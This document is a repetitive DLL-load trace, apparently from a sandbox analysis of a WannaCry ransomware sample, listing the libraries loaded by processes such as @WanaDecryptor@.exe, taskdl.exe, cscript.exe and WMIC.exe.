Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: bingconfigurationclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.storage.applicationdata.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windowsudk.shellcommon.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: dictationmanager.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: slc.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.staterepositoryclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: languageoverlayutil.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.web.http.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: audioses.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: winmmbase.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mmdevapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mmdevapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.applicationmodel.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.cortana.proxystub.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.security.authentication.onlineid.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: profext.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: certenroll.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: certca.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: dsparse.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.web.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: edputil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: slc.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: sppc.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: pcacli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Windows\System32\consent.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\consent.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\consent.exe	Section loaded: wmsgapi.dll
Source: C:\Windows\System32\consent.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msctfmonitor.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msimg32.dll
Source: C:\Windows\System32\consent.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\consent.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msutb.dll
Source: C:\Windows\System32\consent.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\consent.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\consent.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\consent.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\consent.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\consent.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\consent.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\consent.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\consent.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\consent.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\consent.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\consent.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
